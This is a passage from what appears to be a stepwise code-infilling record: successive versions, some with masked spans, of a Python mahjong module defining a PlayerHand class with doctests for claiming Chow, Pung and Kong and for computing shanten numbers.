_find_mate_pairs(tiles.TILE_RANGE_CIRCLES, self.concealed_part &\n tiles.FILTER_CIRCLES)\n _find_mate_pairs(tiles.TILE_RANGE_BAMBOOS, self.concealed_part &\n tiles.FILTER_BAMBOOS)\n self.claimable_chow = claimable_chow\n\n def update_claimable_tiles_pung(self):\n \"\"\"Update information for claiming a Pung.\n\n >>> player_hand = PlayerHand('26m334568p38s東発発')\n >>> player_hand.update_claimable_tiles_pung()\n >>> set(tiles.tiles('3p発')) == player_hand.claimable_pung\n True\n \"\"\"\n counter = self.concealed_part\n self.claimable_pung = set(tile for tile in counter if counter[tile] >=\n 2)\n\n def update_claimable_tiles_kong(self):\n \"\"\"Update information for claiming a Kong.\n\n >>> player_hand = PlayerHand('26m333368p38s発発発')\n >>> player_hand.update_claimable_tiles_kong()\n >>> set(tiles.tiles('3p発')) == player_hand.claimable_kong\n True\n \"\"\"\n counter = self.concealed_part\n self.claimable_kong = set(tile for tile in counter if counter[tile] in\n (3, 4))\n self.claimable_kong.union(meld.tileinfo for meld in self.\n exposed_parts if isinstance(meld, Pung))\n <mask token>\n\n\n<mask token>\n", "step-2": "<mask token>\n\n\nclass PlayerHand:\n <mask token>\n\n def __init__(self, concealed, exposed=None, initial_update=True):\n if isinstance(concealed, str):\n concealed = tiles.tiles(concealed)\n if isinstance(concealed, Counter):\n self._concealed = concealed\n else:\n self._concealed = Counter(concealed)\n self._exposed = exposed or []\n self.claimable_chow = {}\n self.claimable_pung = {}\n self.claimable_kong = {}\n self.claimable_win = {}\n self.shanten_std, self.shanten_7, self.shanten_13 = None, None, None\n if initial_update:\n self.update()\n\n def __str__(self):\n concealed_part = tiles.format_tiles(self.concealed_part.elements())\n exposed_part = ' '.join(str(meld) for meld in self.exposed_parts)\n return f'{concealed_part} {exposed_part} {self.shanten} シャンテン'\n\n @property\n def is_concealed(self) ->bool:\n \"\"\"Determine if all the tile is concealed.\"\"\"\n return sum(self.concealed_part.values()) == 13\n\n @property\n def concealed_part(self):\n \"\"\"Return concealed tiles.\"\"\"\n return self._concealed\n\n def get_concealed_part_by_class(self, tile_class) ->Counter:\n \"\"\"Return the part that consists of specific tiles\"\"\"\n return self.concealed_part & tiles.get_filter(tile_class)\n\n @property\n def exposed_parts(self):\n \"\"\"Return exposed melds.\"\"\"\n return self._exposed\n\n @property\n def shanten(self):\n \"\"\"Return the shanten number\"\"\"\n if not self.is_concealed:\n return self.shanten_std\n return min(self.shanten_std, self.shanten_7, self.shanten_13)\n\n def can_claim_chow(self, discarded_tile: tiles.Tile) ->bool:\n \"\"\"Test if the player can claim for a Chow\n\n >>> [PlayerHand('12m東南').can_claim_chow(\n ... tiles.tiles('3{}'.format(i))) for i in 'mps']\n [True, False, False]\n\n >>> [PlayerHand('89m東南').can_claim_chow(\n ... tiles.tiles('7{}'.format(i))) for i in 'mps']\n [True, False, False]\n\n >>> [PlayerHand('35p東南').can_claim_chow(\n ... tiles.tiles('4{}'.format(i))) for i in 'mps']\n [False, True, False]\n\n >>> [PlayerHand('4567m').can_claim_chow(\n ... tiles.tiles('{}m'.format(i))) for i in range(1, 10)]\n [False, False, True, True, True, True, True, True, False]\n\n >>> any(PlayerHand('258p西').can_claim_chow(\n ... tiles.tiles('{}p'.format(i))) for i in range(1, 10))\n False\n\n >>> all(PlayerHand('1112345678999s').can_claim_chow(\n ... tiles.tiles('{}s'.format(i))) for i in range(1, 10))\n True\n \"\"\"\n return discarded_tile in self.claimable_chow\n <mask token>\n\n def can_claim_kong(self, target_tile: tiles.Tile):\n \"\"\"Test if the player can claim for a Kong (melded or concealed).\n\n >>> PlayerHand('149m66s発発').can_claim_kong(tiles.tiles('発'))\n False\n >>> PlayerHand('9m66s2p発発発').can_claim_kong(tiles.tiles('発'))\n True\n \"\"\"\n return target_tile in self.claimable_kong\n\n def commit_chow(self, new_tile: tiles.Tile, tile1: tiles.Tile, tile2:\n tiles.Tile):\n \"\"\"Add a Chow to the exposed part.\n\n >>> player_hand = PlayerHand('12457789m45p346s')\n >>> target_tile = tiles.tiles('8m')\n >>> tile1, tile2 = tiles.tiles('7m'), tiles.tiles('9m')\n >>> player_hand.commit_chow(target_tile, tile1, tile2)\n >>> chow = player_hand.exposed_parts[0]\n >>> isinstance(chow, Chow)\n True\n >>> chow.concealed\n False\n >>> print(chow.discarded_by)\n DiscardedBy.LEFT\n >>> player_hand.concealed_part[tile1]\n 1\n >>> player_hand.concealed_part[target_tile]\n 1\n >>> player_hand.concealed_part[tile2]\n 0\n \"\"\"\n self.exposed_parts.append(Chow([new_tile, tile1, tile2], False))\n self.concealed_part.subtract([tile1, tile2])\n\n def commit_pung(self, tile: tiles.Tile, discarded_by: DiscardedBy):\n \"\"\"Add a Pung to the exposed part.\n\n >>> player_hand = PlayerHand('2457789m248p14s白')\n >>> target_tile = tiles.tiles('7m')\n >>> player_hand.commit_pung(target_tile, DiscardedBy.CENTER)\n >>> pung = player_hand.exposed_parts[0]\n >>> assert isinstance(pung, Pung)\n >>> assert pung.tileinfo == target_tile\n >>> pung.concealed\n False\n >>> print(pung.discarded_by)\n DiscardedBy.CENTER\n >>> player_hand.concealed_part[target_tile]\n 0\n \"\"\"\n self.exposed_parts.append(Pung(tile, False, discarded_by))\n self.concealed_part.subtract({tile: 2})\n\n def commit_kong(self, tile: tiles.Tile, discarded_by: DiscardedBy):\n \"\"\"Add/extend a Kong.\n\n Determine if the claiming for this Kong is a melded, concealed or\n extension Kong by this hand and ``discarded_by``.\n\n Example 1: 大明槓\n\n >>> hand = PlayerHand(tiles.tiles('479m378p568s東東東白'))\n >>> hand.commit_kong(tiles.tiles('東'), DiscardedBy.CENTER)\n >>> hand.concealed_part - Counter(tiles.tiles('479m378p568s白'))\n Counter()\n >>> kong = hand.exposed_parts[-1]\n >>> print(kong.discarded_by)\n DiscardedBy.CENTER\n\n Example 2: 暗槓\n\n >>> hand = PlayerHand(tiles.tiles('479m378p568s東東東東'))\n >>> hand.commit_kong(tiles.tiles('東'), None)\n >>> hand.concealed_part - Counter(tiles.tiles('479m378p568s'))\n Counter()\n >>> kong = hand.exposed_parts[-1]\n >>> print(kong.discarded_by)\n None\n\n Example 3: 加槓\n\n >>> hand = PlayerHand(tiles.tiles('479m378p568s白'),\n ... [Pung(tiles.tiles('東'), True, DiscardedBy.RIGHT)])\n >>> hand.commit_kong(tiles.tiles('東'), None)\n >>> kong = hand.exposed_parts[-1]\n >>> isinstance(kong, Kong)\n True\n >>> kong.tileinfo == tiles.tiles('東')\n True\n >>> print(kong.discarded_by)\n DiscardedBy.RIGHT\n \"\"\"\n if discarded_by:\n self.exposed_parts.append(Kong(tile, False, discarded_by))\n self.concealed_part.subtract({tile: 3})\n elif self.concealed_part.get(tile, 0) == 4:\n self.exposed_parts.append(Kong(tile, True, None))\n self.concealed_part.subtract({tile: 4})\n else:\n for i, meld in enumerate(self.exposed_parts):\n if meld.tileinfo == tile:\n self._exposed[i] = meld.extend_to_kong()\n break\n\n def update(self):\n \"\"\"Update internal state\"\"\"\n self.update_claimable_tiles()\n self.update_shanten()\n\n def update_claimable_tiles(self):\n \"\"\"WIP\"\"\"\n self.update_claimable_tiles_chow()\n self.update_claimable_tiles_pung()\n self.update_claimable_tiles_kong()\n\n def update_claimable_tiles_chow(self):\n \"\"\"Update information for claiming a Chow.\n\n >>> player_hand = PlayerHand('26m334568p38s東発発')\n >>> player_hand.update_claimable_tiles_chow()\n >>> set(tiles.tiles('234567p')) == player_hand.claimable_chow\n True\n \"\"\"\n\n def _find_mate_pairs(suits, part):\n\n def _get_mate_pair(tile):\n yield tile - 2, tile - 1\n yield tile - 1, tile + 1\n yield tile + 1, tile + 2\n for tile in suits:\n if any(mate[0] in part and mate[1] in part for mate in\n _get_mate_pair(tile)):\n claimable_chow.add(tile)\n claimable_chow = set()\n _find_mate_pairs(tiles.TILE_RANGE_CHARACTERS, self.concealed_part &\n tiles.FILTER_CHARACTERS)\n _find_mate_pairs(tiles.TILE_RANGE_CIRCLES, self.concealed_part &\n tiles.FILTER_CIRCLES)\n _find_mate_pairs(tiles.TILE_RANGE_BAMBOOS, self.concealed_part &\n tiles.FILTER_BAMBOOS)\n self.claimable_chow = claimable_chow\n\n def update_claimable_tiles_pung(self):\n \"\"\"Update information for claiming a Pung.\n\n >>> player_hand = PlayerHand('26m334568p38s東発発')\n >>> player_hand.update_claimable_tiles_pung()\n >>> set(tiles.tiles('3p発')) == player_hand.claimable_pung\n True\n \"\"\"\n counter = self.concealed_part\n self.claimable_pung = set(tile for tile in counter if counter[tile] >=\n 2)\n\n def update_claimable_tiles_kong(self):\n \"\"\"Update information for claiming a Kong.\n\n >>> player_hand = PlayerHand('26m333368p38s発発発')\n >>> player_hand.update_claimable_tiles_kong()\n >>> set(tiles.tiles('3p発')) == player_hand.claimable_kong\n True\n \"\"\"\n counter = self.concealed_part\n self.claimable_kong = set(tile for tile in counter if counter[tile] in\n (3, 4))\n self.claimable_kong.union(meld.tileinfo for meld in self.\n exposed_parts if isinstance(meld, Pung))\n\n def update_shanten(self):\n \"\"\"Update the shanten number\"\"\"\n player_hand = self.concealed_part\n self.shanten_std = count_shanten_std(player_hand)\n if self.is_concealed:\n self.shanten_7 = count_shanten_seven_pairs(player_hand)\n self.shanten_13 = count_shanten_13_orphans(player_hand)\n else:\n self.shanten_7 = None\n self.shanten_13 = None\n\n\n<mask token>\n", "step-3": "<mask token>\n\n\nclass PlayerHand:\n \"\"\"Player's hand.\"\"\"\n\n def __init__(self, concealed, exposed=None, initial_update=True):\n if isinstance(concealed, str):\n concealed = tiles.tiles(concealed)\n if isinstance(concealed, Counter):\n self._concealed = concealed\n else:\n self._concealed = Counter(concealed)\n self._exposed = exposed or []\n self.claimable_chow = {}\n self.claimable_pung = {}\n self.claimable_kong = {}\n self.claimable_win = {}\n self.shanten_std, self.shanten_7, self.shanten_13 = None, None, None\n if initial_update:\n self.update()\n\n def __str__(self):\n concealed_part = tiles.format_tiles(self.concealed_part.elements())\n exposed_part = ' '.join(str(meld) for meld in self.exposed_parts)\n return f'{concealed_part} {exposed_part} {self.shanten} シャンテン'\n\n @property\n def is_concealed(self) ->bool:\n \"\"\"Determine if all the tile is concealed.\"\"\"\n return sum(self.concealed_part.values()) == 13\n\n @property\n def concealed_part(self):\n \"\"\"Return concealed tiles.\"\"\"\n return self._concealed\n\n def get_concealed_part_by_class(self, tile_class) ->Counter:\n \"\"\"Return the part that consists of specific tiles\"\"\"\n return self.concealed_part & tiles.get_filter(tile_class)\n\n @property\n def exposed_parts(self):\n \"\"\"Return exposed melds.\"\"\"\n return self._exposed\n\n @property\n def shanten(self):\n \"\"\"Return the shanten number\"\"\"\n if not self.is_concealed:\n return self.shanten_std\n return min(self.shanten_std, self.shanten_7, self.shanten_13)\n\n def can_claim_chow(self, discarded_tile: tiles.Tile) ->bool:\n \"\"\"Test if the player can claim for a Chow\n\n >>> [PlayerHand('12m東南').can_claim_chow(\n ... tiles.tiles('3{}'.format(i))) for i in 'mps']\n [True, False, False]\n\n >>> [PlayerHand('89m東南').can_claim_chow(\n ... tiles.tiles('7{}'.format(i))) for i in 'mps']\n [True, False, False]\n\n >>> [PlayerHand('35p東南').can_claim_chow(\n ... tiles.tiles('4{}'.format(i))) for i in 'mps']\n [False, True, False]\n\n >>> [PlayerHand('4567m').can_claim_chow(\n ... tiles.tiles('{}m'.format(i))) for i in range(1, 10)]\n [False, False, True, True, True, True, True, True, False]\n\n >>> any(PlayerHand('258p西').can_claim_chow(\n ... tiles.tiles('{}p'.format(i))) for i in range(1, 10))\n False\n\n >>> all(PlayerHand('1112345678999s').can_claim_chow(\n ... tiles.tiles('{}s'.format(i))) for i in range(1, 10))\n True\n \"\"\"\n return discarded_tile in self.claimable_chow\n\n def can_claim_pung(self, discarded_tile: tiles.Tile):\n \"\"\"Test if the player can claim for a Pung.\n\n >>> hand = PlayerHand('149m66s発発')\n >>> hand.can_claim_pung(tiles.tiles('1s'))\n False\n >>> hand.can_claim_pung(tiles.tiles('6s'))\n True\n >>> hand.can_claim_pung(tiles.tiles('発'))\n True\n\n >>> hand = PlayerHand('9m66s2p発発発')\n >>> hand.can_claim_pung(tiles.tiles('6s'))\n True\n >>> hand.can_claim_pung(tiles.tiles('発'))\n True\n\n >>> PlayerHand('149m6s白発中').can_claim_pung(tiles.tiles('発'))\n False\n >>> [PlayerHand('1112345678999m').can_claim_pung(\n ... tiles.tiles(f'{i}m')) for i in range(1, 10)]\n [True, False, False, False, False, False, False, False, True]\n \"\"\"\n return discarded_tile in self.claimable_pung\n\n def can_claim_kong(self, target_tile: tiles.Tile):\n \"\"\"Test if the player can claim for a Kong (melded or concealed).\n\n >>> PlayerHand('149m66s発発').can_claim_kong(tiles.tiles('発'))\n False\n >>> PlayerHand('9m66s2p発発発').can_claim_kong(tiles.tiles('発'))\n True\n \"\"\"\n return target_tile in self.claimable_kong\n\n def commit_chow(self, new_tile: tiles.Tile, tile1: tiles.Tile, tile2:\n tiles.Tile):\n \"\"\"Add a Chow to the exposed part.\n\n >>> player_hand = PlayerHand('12457789m45p346s')\n >>> target_tile = tiles.tiles('8m')\n >>> tile1, tile2 = tiles.tiles('7m'), tiles.tiles('9m')\n >>> player_hand.commit_chow(target_tile, tile1, tile2)\n >>> chow = player_hand.exposed_parts[0]\n >>> isinstance(chow, Chow)\n True\n >>> chow.concealed\n False\n >>> print(chow.discarded_by)\n DiscardedBy.LEFT\n >>> player_hand.concealed_part[tile1]\n 1\n >>> player_hand.concealed_part[target_tile]\n 1\n >>> player_hand.concealed_part[tile2]\n 0\n \"\"\"\n self.exposed_parts.append(Chow([new_tile, tile1, tile2], False))\n self.concealed_part.subtract([tile1, tile2])\n\n def commit_pung(self, tile: tiles.Tile, discarded_by: DiscardedBy):\n \"\"\"Add a Pung to the exposed part.\n\n >>> player_hand = PlayerHand('2457789m248p14s白')\n >>> target_tile = tiles.tiles('7m')\n >>> player_hand.commit_pung(target_tile, DiscardedBy.CENTER)\n >>> pung = player_hand.exposed_parts[0]\n >>> assert isinstance(pung, Pung)\n >>> assert pung.tileinfo == target_tile\n >>> pung.concealed\n False\n >>> print(pung.discarded_by)\n DiscardedBy.CENTER\n >>> player_hand.concealed_part[target_tile]\n 0\n \"\"\"\n self.exposed_parts.append(Pung(tile, False, discarded_by))\n self.concealed_part.subtract({tile: 2})\n\n def commit_kong(self, tile: tiles.Tile, discarded_by: DiscardedBy):\n \"\"\"Add/extend a Kong.\n\n Determine if the claiming for this Kong is a melded, concealed or\n extension Kong by this hand and ``discarded_by``.\n\n Example 1: 大明槓\n\n >>> hand = PlayerHand(tiles.tiles('479m378p568s東東東白'))\n >>> hand.commit_kong(tiles.tiles('東'), DiscardedBy.CENTER)\n >>> hand.concealed_part - Counter(tiles.tiles('479m378p568s白'))\n Counter()\n >>> kong = hand.exposed_parts[-1]\n >>> print(kong.discarded_by)\n DiscardedBy.CENTER\n\n Example 2: 暗槓\n\n >>> hand = PlayerHand(tiles.tiles('479m378p568s東東東東'))\n >>> hand.commit_kong(tiles.tiles('東'), None)\n >>> hand.concealed_part - Counter(tiles.tiles('479m378p568s'))\n Counter()\n >>> kong = hand.exposed_parts[-1]\n >>> print(kong.discarded_by)\n None\n\n Example 3: 加槓\n\n >>> hand = PlayerHand(tiles.tiles('479m378p568s白'),\n ... [Pung(tiles.tiles('東'), True, DiscardedBy.RIGHT)])\n >>> hand.commit_kong(tiles.tiles('東'), None)\n >>> kong = hand.exposed_parts[-1]\n >>> isinstance(kong, Kong)\n True\n >>> kong.tileinfo == tiles.tiles('東')\n True\n >>> print(kong.discarded_by)\n DiscardedBy.RIGHT\n \"\"\"\n if discarded_by:\n self.exposed_parts.append(Kong(tile, False, discarded_by))\n self.concealed_part.subtract({tile: 3})\n elif self.concealed_part.get(tile, 0) == 4:\n self.exposed_parts.append(Kong(tile, True, None))\n self.concealed_part.subtract({tile: 4})\n else:\n for i, meld in enumerate(self.exposed_parts):\n if meld.tileinfo == tile:\n self._exposed[i] = meld.extend_to_kong()\n break\n\n def update(self):\n \"\"\"Update internal state\"\"\"\n self.update_claimable_tiles()\n self.update_shanten()\n\n def update_claimable_tiles(self):\n \"\"\"WIP\"\"\"\n self.update_claimable_tiles_chow()\n self.update_claimable_tiles_pung()\n self.update_claimable_tiles_kong()\n\n def update_claimable_tiles_chow(self):\n \"\"\"Update information for claiming a Chow.\n\n >>> player_hand = PlayerHand('26m334568p38s東発発')\n >>> player_hand.update_claimable_tiles_chow()\n >>> set(tiles.tiles('234567p')) == player_hand.claimable_chow\n True\n \"\"\"\n\n def _find_mate_pairs(suits, part):\n\n def _get_mate_pair(tile):\n yield tile - 2, tile - 1\n yield tile - 1, tile + 1\n yield tile + 1, tile + 2\n for tile in suits:\n if any(mate[0] in part and mate[1] in part for mate in\n _get_mate_pair(tile)):\n claimable_chow.add(tile)\n claimable_chow = set()\n _find_mate_pairs(tiles.TILE_RANGE_CHARACTERS, self.concealed_part &\n tiles.FILTER_CHARACTERS)\n _find_mate_pairs(tiles.TILE_RANGE_CIRCLES, self.concealed_part &\n tiles.FILTER_CIRCLES)\n _find_mate_pairs(tiles.TILE_RANGE_BAMBOOS, self.concealed_part &\n tiles.FILTER_BAMBOOS)\n self.claimable_chow = claimable_chow\n\n def update_claimable_tiles_pung(self):\n \"\"\"Update information for claiming a Pung.\n\n >>> player_hand = PlayerHand('26m334568p38s東発発')\n >>> player_hand.update_claimable_tiles_pung()\n >>> set(tiles.tiles('3p発')) == player_hand.claimable_pung\n True\n \"\"\"\n counter = self.concealed_part\n self.claimable_pung = set(tile for tile in counter if counter[tile] >=\n 2)\n\n def update_claimable_tiles_kong(self):\n \"\"\"Update information for claiming a Kong.\n\n >>> player_hand = PlayerHand('26m333368p38s発発発')\n >>> player_hand.update_claimable_tiles_kong()\n >>> set(tiles.tiles('3p発')) == player_hand.claimable_kong\n True\n \"\"\"\n counter = self.concealed_part\n self.claimable_kong = set(tile for tile in counter if counter[tile] in\n (3, 4))\n self.claimable_kong.union(meld.tileinfo for meld in self.\n exposed_parts if isinstance(meld, Pung))\n\n def update_shanten(self):\n \"\"\"Update the shanten number\"\"\"\n player_hand = self.concealed_part\n self.shanten_std = count_shanten_std(player_hand)\n if self.is_concealed:\n self.shanten_7 = count_shanten_seven_pairs(player_hand)\n self.shanten_13 = count_shanten_13_orphans(player_hand)\n else:\n self.shanten_7 = None\n self.shanten_13 = None\n\n\n<mask token>\n", "step-4": "<mask token>\n\n\nclass PlayerHand:\n \"\"\"Player's hand.\"\"\"\n\n def __init__(self, concealed, exposed=None, initial_update=True):\n if isinstance(concealed, str):\n concealed = tiles.tiles(concealed)\n if isinstance(concealed, Counter):\n self._concealed = concealed\n else:\n self._concealed = Counter(concealed)\n self._exposed = exposed or []\n self.claimable_chow = {}\n self.claimable_pung = {}\n self.claimable_kong = {}\n self.claimable_win = {}\n self.shanten_std, self.shanten_7, self.shanten_13 = None, None, None\n if initial_update:\n self.update()\n\n def __str__(self):\n concealed_part = tiles.format_tiles(self.concealed_part.elements())\n exposed_part = ' '.join(str(meld) for meld in self.exposed_parts)\n return f'{concealed_part} {exposed_part} {self.shanten} シャンテン'\n\n @property\n def is_concealed(self) ->bool:\n \"\"\"Determine if all the tile is concealed.\"\"\"\n return sum(self.concealed_part.values()) == 13\n\n @property\n def concealed_part(self):\n \"\"\"Return concealed tiles.\"\"\"\n return self._concealed\n\n def get_concealed_part_by_class(self, tile_class) ->Counter:\n \"\"\"Return the part that consists of specific tiles\"\"\"\n return self.concealed_part & tiles.get_filter(tile_class)\n\n @property\n def exposed_parts(self):\n \"\"\"Return exposed melds.\"\"\"\n return self._exposed\n\n @property\n def shanten(self):\n \"\"\"Return the shanten number\"\"\"\n if not self.is_concealed:\n return self.shanten_std\n return min(self.shanten_std, self.shanten_7, self.shanten_13)\n\n def can_claim_chow(self, discarded_tile: tiles.Tile) ->bool:\n \"\"\"Test if the player can claim for a Chow\n\n >>> [PlayerHand('12m東南').can_claim_chow(\n ... tiles.tiles('3{}'.format(i))) for i in 'mps']\n [True, False, False]\n\n >>> [PlayerHand('89m東南').can_claim_chow(\n ... tiles.tiles('7{}'.format(i))) for i in 'mps']\n [True, False, False]\n\n >>> [PlayerHand('35p東南').can_claim_chow(\n ... tiles.tiles('4{}'.format(i))) for i in 'mps']\n [False, True, False]\n\n >>> [PlayerHand('4567m').can_claim_chow(\n ... tiles.tiles('{}m'.format(i))) for i in range(1, 10)]\n [False, False, True, True, True, True, True, True, False]\n\n >>> any(PlayerHand('258p西').can_claim_chow(\n ... tiles.tiles('{}p'.format(i))) for i in range(1, 10))\n False\n\n >>> all(PlayerHand('1112345678999s').can_claim_chow(\n ... tiles.tiles('{}s'.format(i))) for i in range(1, 10))\n True\n \"\"\"\n return discarded_tile in self.claimable_chow\n\n def can_claim_pung(self, discarded_tile: tiles.Tile):\n \"\"\"Test if the player can claim for a Pung.\n\n >>> hand = PlayerHand('149m66s発発')\n >>> hand.can_claim_pung(tiles.tiles('1s'))\n False\n >>> hand.can_claim_pung(tiles.tiles('6s'))\n True\n >>> hand.can_claim_pung(tiles.tiles('発'))\n True\n\n >>> hand = PlayerHand('9m66s2p発発発')\n >>> hand.can_claim_pung(tiles.tiles('6s'))\n True\n >>> hand.can_claim_pung(tiles.tiles('発'))\n True\n\n >>> PlayerHand('149m6s白発中').can_claim_pung(tiles.tiles('発'))\n False\n >>> [PlayerHand('1112345678999m').can_claim_pung(\n ... tiles.tiles(f'{i}m')) for i in range(1, 10)]\n [True, False, False, False, False, False, False, False, True]\n \"\"\"\n return discarded_tile in self.claimable_pung\n\n def can_claim_kong(self, target_tile: tiles.Tile):\n \"\"\"Test if the player can claim for a Kong (melded or concealed).\n\n >>> PlayerHand('149m66s発発').can_claim_kong(tiles.tiles('発'))\n False\n >>> PlayerHand('9m66s2p発発発').can_claim_kong(tiles.tiles('発'))\n True\n \"\"\"\n return target_tile in self.claimable_kong\n\n def commit_chow(self, new_tile: tiles.Tile, tile1: tiles.Tile, tile2:\n tiles.Tile):\n \"\"\"Add a Chow to the exposed part.\n\n >>> player_hand = PlayerHand('12457789m45p346s')\n >>> target_tile = tiles.tiles('8m')\n >>> tile1, tile2 = tiles.tiles('7m'), tiles.tiles('9m')\n >>> player_hand.commit_chow(target_tile, tile1, tile2)\n >>> chow = player_hand.exposed_parts[0]\n >>> isinstance(chow, Chow)\n True\n >>> chow.concealed\n False\n >>> print(chow.discarded_by)\n DiscardedBy.LEFT\n >>> player_hand.concealed_part[tile1]\n 1\n >>> player_hand.concealed_part[target_tile]\n 1\n >>> player_hand.concealed_part[tile2]\n 0\n \"\"\"\n self.exposed_parts.append(Chow([new_tile, tile1, tile2], False))\n self.concealed_part.subtract([tile1, tile2])\n\n def commit_pung(self, tile: tiles.Tile, discarded_by: DiscardedBy):\n \"\"\"Add a Pung to the exposed part.\n\n >>> player_hand = PlayerHand('2457789m248p14s白')\n >>> target_tile = tiles.tiles('7m')\n >>> player_hand.commit_pung(target_tile, DiscardedBy.CENTER)\n >>> pung = player_hand.exposed_parts[0]\n >>> assert isinstance(pung, Pung)\n >>> assert pung.tileinfo == target_tile\n >>> pung.concealed\n False\n >>> print(pung.discarded_by)\n DiscardedBy.CENTER\n >>> player_hand.concealed_part[target_tile]\n 0\n \"\"\"\n self.exposed_parts.append(Pung(tile, False, discarded_by))\n self.concealed_part.subtract({tile: 2})\n\n def commit_kong(self, tile: tiles.Tile, discarded_by: DiscardedBy):\n \"\"\"Add/extend a Kong.\n\n Determine if the claiming for this Kong is a melded, concealed or\n extension Kong by this hand and ``discarded_by``.\n\n Example 1: 大明槓\n\n >>> hand = PlayerHand(tiles.tiles('479m378p568s東東東白'))\n >>> hand.commit_kong(tiles.tiles('東'), DiscardedBy.CENTER)\n >>> hand.concealed_part - Counter(tiles.tiles('479m378p568s白'))\n Counter()\n >>> kong = hand.exposed_parts[-1]\n >>> print(kong.discarded_by)\n DiscardedBy.CENTER\n\n Example 2: 暗槓\n\n >>> hand = PlayerHand(tiles.tiles('479m378p568s東東東東'))\n >>> hand.commit_kong(tiles.tiles('東'), None)\n >>> hand.concealed_part - Counter(tiles.tiles('479m378p568s'))\n Counter()\n >>> kong = hand.exposed_parts[-1]\n >>> print(kong.discarded_by)\n None\n\n Example 3: 加槓\n\n >>> hand = PlayerHand(tiles.tiles('479m378p568s白'),\n ... [Pung(tiles.tiles('東'), True, DiscardedBy.RIGHT)])\n >>> hand.commit_kong(tiles.tiles('東'), None)\n >>> kong = hand.exposed_parts[-1]\n >>> isinstance(kong, Kong)\n True\n >>> kong.tileinfo == tiles.tiles('東')\n True\n >>> print(kong.discarded_by)\n DiscardedBy.RIGHT\n \"\"\"\n if discarded_by:\n self.exposed_parts.append(Kong(tile, False, discarded_by))\n self.concealed_part.subtract({tile: 3})\n elif self.concealed_part.get(tile, 0) == 4:\n self.exposed_parts.append(Kong(tile, True, None))\n self.concealed_part.subtract({tile: 4})\n else:\n for i, meld in enumerate(self.exposed_parts):\n if meld.tileinfo == tile:\n self._exposed[i] = meld.extend_to_kong()\n break\n\n def update(self):\n \"\"\"Update internal state\"\"\"\n self.update_claimable_tiles()\n self.update_shanten()\n\n def update_claimable_tiles(self):\n \"\"\"WIP\"\"\"\n self.update_claimable_tiles_chow()\n self.update_claimable_tiles_pung()\n self.update_claimable_tiles_kong()\n\n def update_claimable_tiles_chow(self):\n \"\"\"Update information for claiming a Chow.\n\n >>> player_hand = PlayerHand('26m334568p38s東発発')\n >>> player_hand.update_claimable_tiles_chow()\n >>> set(tiles.tiles('234567p')) == player_hand.claimable_chow\n True\n \"\"\"\n\n def _find_mate_pairs(suits, part):\n\n def _get_mate_pair(tile):\n yield tile - 2, tile - 1\n yield tile - 1, tile + 1\n yield tile + 1, tile + 2\n for tile in suits:\n if any(mate[0] in part and mate[1] in part for mate in\n _get_mate_pair(tile)):\n claimable_chow.add(tile)\n claimable_chow = set()\n _find_mate_pairs(tiles.TILE_RANGE_CHARACTERS, self.concealed_part &\n tiles.FILTER_CHARACTERS)\n _find_mate_pairs(tiles.TILE_RANGE_CIRCLES, self.concealed_part &\n tiles.FILTER_CIRCLES)\n _find_mate_pairs(tiles.TILE_RANGE_BAMBOOS, self.concealed_part &\n tiles.FILTER_BAMBOOS)\n self.claimable_chow = claimable_chow\n\n def update_claimable_tiles_pung(self):\n \"\"\"Update information for claiming a Pung.\n\n >>> player_hand = PlayerHand('26m334568p38s東発発')\n >>> player_hand.update_claimable_tiles_pung()\n >>> set(tiles.tiles('3p発')) == player_hand.claimable_pung\n True\n \"\"\"\n counter = self.concealed_part\n self.claimable_pung = set(tile for tile in counter if counter[tile] >=\n 2)\n\n def update_claimable_tiles_kong(self):\n \"\"\"Update information for claiming a Kong.\n\n >>> player_hand = PlayerHand('26m333368p38s発発発')\n >>> player_hand.update_claimable_tiles_kong()\n >>> set(tiles.tiles('3p発')) == player_hand.claimable_kong\n True\n \"\"\"\n counter = self.concealed_part\n self.claimable_kong = set(tile for tile in counter if counter[tile] in\n (3, 4))\n self.claimable_kong.union(meld.tileinfo for meld in self.\n exposed_parts if isinstance(meld, Pung))\n\n def update_shanten(self):\n \"\"\"Update the shanten number\"\"\"\n player_hand = self.concealed_part\n self.shanten_std = count_shanten_std(player_hand)\n if self.is_concealed:\n self.shanten_7 = count_shanten_seven_pairs(player_hand)\n self.shanten_13 = count_shanten_13_orphans(player_hand)\n else:\n self.shanten_7 = None\n self.shanten_13 = None\n\n\ndef main():\n \"\"\"test\"\"\"\n wall_agent = TileWallAgent()\n player_hands = [PlayerHand(Counter(ph)) for ph in wall_agent.build()]\n for player_hand in player_hands:\n print(player_hand)\n\n\nif __name__ == '__main__':\n main()\n", "step-5": "#!/usr/bin/env python\n\n\"\"\"\nmahjong.playerhand\n\"\"\"\n\nfrom collections import Counter\n\nfrom melds import (DiscardedBy, Chow, Pung, Kong)\nfrom shanten import (\n count_shanten_13_orphans,\n count_shanten_seven_pairs,\n count_shanten_std)\nimport tiles\nfrom walls import TileWallAgent\n\n\nclass PlayerHand:\n \"\"\"Player's hand.\"\"\"\n\n def __init__(self, concealed, exposed=None, initial_update=True):\n if isinstance(concealed, str):\n concealed = tiles.tiles(concealed)\n\n if isinstance(concealed, Counter):\n self._concealed = concealed\n else:\n self._concealed = Counter(concealed)\n self._exposed = exposed or []\n\n self.claimable_chow = {}\n self.claimable_pung = {}\n self.claimable_kong = {}\n self.claimable_win = {}\n\n self.shanten_std, self.shanten_7, self.shanten_13 = None, None, None\n if initial_update:\n self.update()\n\n\n def __str__(self):\n # concealed part\n concealed_part = tiles.format_tiles(self.concealed_part.elements())\n\n # exposed part\n exposed_part = ' '.join(str(meld) for meld in self.exposed_parts)\n return f'{concealed_part} {exposed_part} {self.shanten} シャンテン'\n\n\n @property\n def is_concealed(self) -> bool:\n \"\"\"Determine if all the tile is concealed.\"\"\"\n # return not self._exposed\n return sum(self.concealed_part.values()) == 13\n\n @property\n def concealed_part(self):\n \"\"\"Return concealed tiles.\"\"\"\n return self._concealed\n\n def get_concealed_part_by_class(self, tile_class) -> Counter:\n \"\"\"Return the part that consists of specific tiles\"\"\"\n\n return self.concealed_part & tiles.get_filter(tile_class)\n\n @property\n def exposed_parts(self):\n \"\"\"Return exposed melds.\"\"\"\n return self._exposed\n\n @property\n def shanten(self):\n \"\"\"Return the shanten number\"\"\"\n if not self.is_concealed:\n return self.shanten_std\n\n return min(self.shanten_std, self.shanten_7, self.shanten_13)\n\n def can_claim_chow(self, discarded_tile: tiles.Tile) -> bool:\n \"\"\"Test if the player can claim for a Chow\n\n >>> [PlayerHand('12m東南').can_claim_chow(\n ... tiles.tiles('3{}'.format(i))) for i in 